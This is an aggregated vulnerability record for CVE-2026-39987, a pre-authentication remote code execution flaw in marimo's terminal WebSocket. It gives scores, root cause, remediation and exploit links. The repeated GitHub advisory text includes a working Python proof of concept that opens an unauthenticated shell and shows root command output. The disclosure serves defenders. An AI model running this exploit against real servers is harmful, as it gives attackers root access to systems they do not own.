CVE-2026-39987
marimo Affected by Pre-Auth Remote Code Execution via Terminal WebSocket Authentication Bypass
marimo is a reactive Python notebook. Prior to 0.23.0, Marimo has a Pre-Auth RCE vulnerability. The terminal WebSocket endpoint /terminal/ws lacks authentication validation, allowing an unauthenticated attacker to obtain a full PTY shell and execute arbitrary system commands. Unlike other WebSocket endpoints (e.g., /ws) that correctly call validate_auth() for authentication, the /terminal/ws endpoint only checks the running mode and platform support before accepting connections, completely skipping authentication verification. This vulnerability is fixed in 0.23.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
9.3
marimo Affected by Pre-Auth Remote Code Execution via Terminal WebSocket Authentication Bypass
marimo is a reactive Python notebook. Prior to 0.23.0, Marimo has a Pre-Auth RCE vulnerability. The terminal WebSocket endpoint /terminal/ws lacks authentication validation, allowing an unauthenticated attacker to obtain a full PTY shell and execute arbitrary system commands. Unlike other WebSocket endpoints (e.g., /ws) that correctly call validate_auth() for authentication, the /terminal/ws endpoint only checks the running mode and platform support before accepting connections, completely skipping authentication verification. This vulnerability is fixed in 0.23.0.
- Record
CVE-2026-39987- CVSS 4.0
- 9.3 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-306
- Updated
- 2026-11-02
EUVDEUVD-2026-20980
9.3
marimo is a reactive Python notebook. Prior to 0.23.0, Marimo has a Pre-Auth RCE vulnerability. The terminal WebSocket endpoint /terminal/ws lacks authentication validation, allowing an unauthenticated attacker to obtain a full PTY shell and execute arbitrary system commands. Unlike other WebSocket endpoints (e.g., /ws) that correctly call validate_auth() for authentication, the /terminal/ws endpoint only checks the running mode and platform support before accepting connections, completely skipping authentication verification. This vulnerability is fixed in 0.23.0.
- Record
EUVD-2026-20980- CVSS 4.0
- 9.3 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-2679-6mx9-h9xc
9.3
Marimo: Pre-Auth Remote Code Execution via Terminal WebSocket Authentication Bypass
Summary
Marimo (19.6k stars) has a Pre-Auth RCE vulnerability. The terminal WebSocket endpoint /terminal/ws lacks authentication validation, allowing an unauthenticated attacker to obtain a full PTY shell and execute arbitrary system commands.
Unlike other WebSocket endpoints (e.g., /ws) that correctly call validate_auth() for authentication, the /terminal/ws endpoint only checks the running mode and platform support before accepting connections, completely skipping authentication verification.
Affected Versions
Marimo <= 0.20.4
Vulnerability Details
Root Cause: Terminal WebSocket Missing Authentication
marimo/_server/api/endpoints/terminal.py lines 340-356:
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
if app_state.mode != SessionMode.EDIT:
await websocket.close(...)
return
if not supports_terminal():
await websocket.close(...)
return
# No authentication check!
await websocket.accept() # Accepts connection directly
# ...
child_pid, fd = pty.fork() # Creates PTY shell
Compare with the correctly implemented /ws endpoint (ws_endpoint.py lines 67-82):
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
validator = WebSocketConnectionValidator(websocket, app_state)
if not await validator.validate_auth(): # Correct auth check
return
Authentication Middleware Limitation
Marimo uses Starlette's AuthenticationMiddleware, which marks failed auth connections as UnauthenticatedUser but does NOT actively reject WebSocket connections. Actual auth enforcement relies on endpoint-level @requires() decorators or validate_auth() calls.
The /terminal/ws endpoint has neither a @requires("edit") decorator nor a validate_auth() call, so unauthenticated WebSocket connections are accepted even when the auth middleware is active.
Attack Chain
- WebSocket connect to
ws://TARGET:2718/terminal/ws(no auth needed) websocket.accept()accepts the connection directlypty.fork()creates a PTY child process- Full interactive shell with arbitrary command execution
- Commands run as root in default Docker deployments
A single WebSocket connection yields a complete interactive shell.
Proof of Concept
import websocket
import time
# Connect without any authentication
ws = websocket.WebSocket()
ws.connect('ws://TARGET:2718/terminal/ws')
time.sleep(2)
# Drain initial output
try:
while True:
ws.settimeout(1)
ws.recv()
except:
pass
# Execute arbitrary command
ws.settimeout(10)
ws.send('id\n')
time.sleep(2)
print(ws.recv()) # uid=0(root) gid=0(root) groups=0(root)
ws.close()
Reproduction Environment
FROM python:3.12-slim
RUN pip install --no-cache-dir marimo==0.20.4
RUN mkdir -p /app/notebooks
RUN echo 'import marimo as mo; app = mo.App()' > /app/notebooks/test.py
WORKDIR /app/notebooks
EXPOSE 2718
CMD ["marimo", "edit", "--host", "0.0.0.0", "--port", "2718", "."]
Reproduction Result
With auth enabled (server generates random access_token), the exploit bypasses authentication entirely:
$ python3 exp.py http://127.0.0.1:2718 exec "id && whoami && hostname"
[+] No auth needed! Terminal WebSocket connected
[+] Output:
uid=0(root) gid=0(root) groups=0(root)
root
ddfc452129c3
Suggested Remediation
- Add authentication validation to
/terminal/wsendpoint, consistent with/wsusingWebSocketConnectionValidator.validate_auth() - Apply unified authentication decorators or middleware interception to all WebSocket endpoints
- Terminal functionality should only be available when explicitly enabled, not on by default
Impact
An unauthenticated attacker can obtain a full interactive root shell on the server via a single WebSocket connection. No user…
- Record
GHSA-2679-6mx9-h9xc- CVSS 4.0
- 9.3 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-306
- Updated
- 2026-11-02
CISA KEV No score
Marimo Remote Code Execution Vulnerability
Marimo contains an pre-authorization remote code execution vulnerability, allowing an unauthenticated attacked to shell access and execute arbitrary system commands.
- Record
CVE-2026-39987- Weakness
- CWE-306
- Updated
- 2026-11-02
NVD
9.3
marimo is a reactive Python notebook. Prior to 0.23.0, Marimo has a Pre-Auth RCE vulnerability. The terminal WebSocket endpoint /terminal/ws lacks authentication validation, allowing an unauthenticated attacker to obtain a full PTY shell and execute arbitrary system commands. Unlike other WebSocket endpoints (e.g., /ws) that correctly call validate_auth() for authentication, the /terminal/ws endpoint only checks the running mode and platform support before accepting connections, completely skipping authentication verification. This vulnerability is fixed in 0.23.0.
- Record
CVE-2026-39987- CVSS 4.0
- 9.3 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-306
- Updated
- 2026-11-02
OSV
9.3
marimo Affected by Pre-Auth Remote Code Execution via Terminal WebSocket Authentication Bypass
marimo is a reactive Python notebook. Prior to 0.23.0, Marimo has a Pre-Auth RCE vulnerability. The terminal WebSocket endpoint /terminal/ws lacks authentication validation, allowing an unauthenticated attacker to obtain a full PTY shell and execute arbitrary system commands. Unlike other WebSocket endpoints (e.g., /ws) that correctly call validate_auth() for authentication, the /terminal/ws endpoint only checks the running mode and platform support before accepting connections, completely skipping authentication verification. This vulnerability is fixed in 0.23.0.
- Record
CVE-2026-39987- CVSS 4.0
- 9.3 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-306
- Updated
- 2026-11-02
OSVGHSA-2679-6mx9-h9xc
9.3
Marimo: Pre-Auth Remote Code Execution via Terminal WebSocket Authentication Bypass
Summary
Marimo (19.6k stars) has a Pre-Auth RCE vulnerability. The terminal WebSocket endpoint /terminal/ws lacks authentication validation, allowing an unauthenticated attacker to obtain a full PTY shell and execute arbitrary system commands.
Unlike other WebSocket endpoints (e.g., /ws) that correctly call validate_auth() for authentication, the /terminal/ws endpoint only checks the running mode and platform support before accepting connections, completely skipping authentication verification.
Affected Versions
Marimo <= 0.20.4
Vulnerability Details
Root Cause: Terminal WebSocket Missing Authentication
marimo/_server/api/endpoints/terminal.py lines 340-356:
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
if app_state.mode != SessionMode.EDIT:
await websocket.close(...)
return
if not supports_terminal():
await websocket.close(...)
return
# No authentication check!
await websocket.accept() # Accepts connection directly
# ...
child_pid, fd = pty.fork() # Creates PTY shell
Compare with the correctly implemented /ws endpoint (ws_endpoint.py lines 67-82):
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
validator = WebSocketConnectionValidator(websocket, app_state)
if not await validator.validate_auth(): # Correct auth check
return
Authentication Middleware Limitation
Marimo uses Starlette's AuthenticationMiddleware, which marks failed auth connections as UnauthenticatedUser but does NOT actively reject WebSocket connections. Actual auth enforcement relies on endpoint-level @requires() decorators or validate_auth() calls.
The /terminal/ws endpoint has neither a @requires("edit") decorator nor a validate_auth() call, so unauthenticated WebSocket connections are accepted even when the auth middleware is active.
Attack Chain
- WebSocket connect to
ws://TARGET:2718/terminal/ws(no auth needed) websocket.accept()accepts the connection directlypty.fork()creates a PTY child process- Full interactive shell with arbitrary command execution
- Commands run as root in default Docker deployments
A single WebSocket connection yields a complete interactive shell.
Proof of Concept
import websocket
import time
# Connect without any authentication
ws = websocket.WebSocket()
ws.connect('ws://TARGET:2718/terminal/ws')
time.sleep(2)
# Drain initial output
try:
while True:
ws.settimeout(1)
ws.recv()
except:
pass
# Execute arbitrary command
ws.settimeout(10)
ws.send('id\n')
time.sleep(2)
print(ws.recv()) # uid=0(root) gid=0(root) groups=0(root)
ws.close()
Reproduction Environment
FROM python:3.12-slim
RUN pip install --no-cache-dir marimo==0.20.4
RUN mkdir -p /app/notebooks
RUN echo 'import marimo as mo; app = mo.App()' > /app/notebooks/test.py
WORKDIR /app/notebooks
EXPOSE 2718
CMD ["marimo", "edit", "--host", "0.0.0.0", "--port", "2718", "."]
Reproduction Result
With auth enabled (server generates random access_token), the exploit bypasses authentication entirely:
$ python3 exp.py http://127.0.0.1:2718 exec "id && whoami && hostname"
[+] No auth needed! Terminal WebSocket connected
[+] Output:
uid=0(root) gid=0(root) groups=0(root)
root
ddfc452129c3
Suggested Remediation
- Add authentication validation to
/terminal/wsendpoint, consistent with/wsusingWebSocketConnectionValidator.validate_auth() - Apply unified authentication decorators or middleware interception to all WebSocket endpoints
- Terminal functionality should only be available when explicitly enabled, not on by default
Impact
An unauthenticated attacker can obtain a full interactive root shell on the server via a single WebSocket connection. No user…
- Record
GHSA-2679-6mx9-h9xc- CVSS 4.0
- 9.3 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-306
- Updated
- 2026-11-02
OSVPYSEC-2026-407
9.3
Marimo: Pre-Auth Remote Code Execution via Terminal WebSocket Authentication Bypass
Summary
Marimo (19.6k stars) has a Pre-Auth RCE vulnerability. The terminal WebSocket endpoint /terminal/ws lacks authentication validation, allowing an unauthenticated attacker to obtain a full PTY shell and execute arbitrary system commands.
Unlike other WebSocket endpoints (e.g., /ws) that correctly call validate_auth() for authentication, the /terminal/ws endpoint only checks the running mode and platform support before accepting connections, completely skipping authentication verification.
Affected Versions
Marimo <= 0.20.4
Vulnerability Details
Root Cause: Terminal WebSocket Missing Authentication
marimo/_server/api/endpoints/terminal.py lines 340-356:
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
if app_state.mode != SessionMode.EDIT:
await websocket.close(...)
return
if not supports_terminal():
await websocket.close(...)
return
# No authentication check!
await websocket.accept() # Accepts connection directly
# ...
child_pid, fd = pty.fork() # Creates PTY shell
Compare with the correctly implemented /ws endpoint (ws_endpoint.py lines 67-82):
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
validator = WebSocketConnectionValidator(websocket, app_state)
if not await validator.validate_auth(): # Correct auth check
return
Authentication Middleware Limitation
Marimo uses Starlette's AuthenticationMiddleware, which marks failed auth connections as UnauthenticatedUser but does NOT actively reject WebSocket connections. Actual auth enforcement relies on endpoint-level @requires() decorators or validate_auth() calls.
The /terminal/ws endpoint has neither a @requires("edit") decorator nor a validate_auth() call, so unauthenticated WebSocket connections are accepted even when the auth middleware is active.
Attack Chain
- WebSocket connect to
ws://TARGET:2718/terminal/ws(no auth needed) websocket.accept()accepts the connection directlypty.fork()creates a PTY child process- Full interactive shell with arbitrary command execution
- Commands run as root in default Docker deployments
A single WebSocket connection yields a complete interactive shell.
Proof of Concept
import websocket
import time
# Connect without any authentication
ws = websocket.WebSocket()
ws.connect('ws://TARGET:2718/terminal/ws')
time.sleep(2)
# Drain initial output
try:
while True:
ws.settimeout(1)
ws.recv()
except:
pass
# Execute arbitrary command
ws.settimeout(10)
ws.send('id\n')
time.sleep(2)
print(ws.recv()) # uid=0(root) gid=0(root) groups=0(root)
ws.close()
Reproduction Environment
FROM python:3.12-slim
RUN pip install --no-cache-dir marimo==0.20.4
RUN mkdir -p /app/notebooks
RUN echo 'import marimo as mo; app = mo.App()' > /app/notebooks/test.py
WORKDIR /app/notebooks
EXPOSE 2718
CMD ["marimo", "edit", "--host", "0.0.0.0", "--port", "2718", "."]
Reproduction Result
With auth enabled (server generates random access_token), the exploit bypasses authentication entirely:
$ python3 exp.py http://127.0.0.1:2718 exec "id && whoami && hostname"
[+] No auth needed! Terminal WebSocket connected
[+] Output:
uid=0(root) gid=0(root) groups=0(root)
root
ddfc452129c3
Suggested Remediation
- Add authentication validation to
/terminal/wsendpoint, consistent with/wsusingWebSocketConnectionValidator.validate_auth() - Apply unified authentication decorators or middleware interception to all WebSocket endpoints
- Terminal functionality should only be available when explicitly enabled, not on by default
Impact
An unauthenticated attacker can obtain a full interactive root shell on the server via a single WebSocket connection. No user…
- Record
PYSEC-2026-407- CVSS 4.0
- 9.3 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
marimoPyPI |
before 0.23.0 | 0.23.0 |
marimoPyPI |
before 0.23.0, plus listed versions 0.0.00.1.00.1.10.1.100.1.11 Show 45 moreShow less0.1.120.1.130.1.140.1.150.1.170.1.180.1.190.1.20.1.200.1.210.1.220.1.230.1.240.1.250.1.260.1.280.1.290.1.30.1.300.1.310.1.320.1.330.1.340.1.350.1.360.1.370.1.380.1.390.1.40.1.400.1.410.1.420.1.430.1.440.1.450.1.460.1.470.1.480.1.490.1.50.1.500.1.510.1.520.1.530.1.54 |
0.23.0 |
Public exploits
Links only. Every CVE stores no exploit code.
| Source | Link | Date |
|---|---|---|
| PoC in GitHub | 0xBlackash/CVE-2026-39987 | 2026-04-12 |
| PoC in GitHub | fevar54/marimo_CVE-2026-39987_RCE_PoC | 2026-04-13 |
| PoC in GitHub | mki9/CVE-2026-39987_exploit | 2026-04-13 |
| PoC in GitHub | keraattin/CVE-2026-39987 | 2026-04-15 |
| PoC in GitHub | Nxploited/CVE-2026-39987 | 2026-04-18 |
| PoC in GitHub | h3raklez/CVE-2026-39987 | 2026-04-25 |
| PoC in GitHub | Dhiaelhak-Rached/CVE-2026-39987-lab-or-marimo-cve-lab | 2026-04-26 |
| PoC in GitHub | rootdirective-sec/CVE-2026-39987-Lab | 2026-05-04 |
| PoC in GitHub | 0xdeadroot/CVE-2026-39987-marimo-rce | 2026-05-16 |
| PoC in GitHub | M3PH1569/CVE-2026-39987-POC | 2026-05-24 |
Show 17 moreShow less
| Source | Link | Date |
|---|---|---|
| PoC in GitHub | HORKimhab/CVE-2026-39987 | 2026-05-30 |
| PoC in GitHub | gbuyssens/CVE-2026-39987 | 2026-08-02 |
| PoC in GitHub | jasonbernier/CVE-2026-39987 | 2026-08-02 |
| PoC in GitHub | vanhari/CVE-2026-39987 | 2026-08-02 |
| PoC in GitHub | Wind010/CVE-2026-39987_PoC | 2026-08-03 |
| PoC in GitHub | alreadyClosed/CVE-2026-39987 | 2026-08-07 |
| PoC in GitHub | iapetus12/cohort-htb | 2026-08-08 |
| PoC in GitHub | MADA0L/CVE-2026-39987-Poc | 2026-08-10 |
| PoC in GitHub | matesz44/cve-2026-39987 | 2026-08-12 |
| PoC in GitHub | dodeepsink/CVE-2026-39987.py | 2026-08-20 |
| PoC in GitHub | Ghxstsec/CVE-2026-39987 | 2026-09-01 |
| Exploit-DB | Marimo 0.20.4 - RCE | 2026-09-02 |
| PoC in GitHub | stapat1245/CVE-2026-39987-PoC | 2026-09-07 |
| PoC in GitHub | Th3Purge/CVE-2026-39987 | 2026-09-08 |
| PoC in GitHub | julichaan/CVE-2026-39987_POC | 2026-09-11 |
| PoC in GitHub | mfahdk/CVE-2026-39987_RCE_PoC | 2026-09-20 |
| Nuclei | Marimo <= 0.20.4 - Pre-Auth Terminal WebSocket RCE |
Plus 5 more. The full list has every link.
History
| Recorded | Changed | Sources |
|---|---|---|
| exploits_more | PoC in GitHub | |
| exploitation | ||
| exploits, exploits_more | ||
| exploits | ||
| first indexed | CVE List, EUVD, Exploit-DB, GitHub Advisories, CISA KEV, Nuclei, NVD, OSV, PoC in GitHub |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-39987 is a critical vulnerability (CVSS 9.3) in Coreweave Marimo, published April 8, 2026. CISA lists it as known to be exploited, since April 23, 2026. EUVD reports exploitation since April 23, 2026. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 99.7%, the 99th percentile. Fixed in marimo 0.23.0.
References
github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
github.com/marimo-team/marimo/pull/9098
github.com/marimo-team/marimo/commit/c24d4806398f30be6b12acd6c60d1d7c68cfd12a
sysdig.com/blog/marimo-oss-python-notebook-rce-from-disclosure-to-exploitation-in-under-10-hours
cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-39987
nvd.nist.gov/vuln/detail/CVE-2026-39987
Left out here: 320 versions and the rest of 3 source descriptions. The JSON record has them.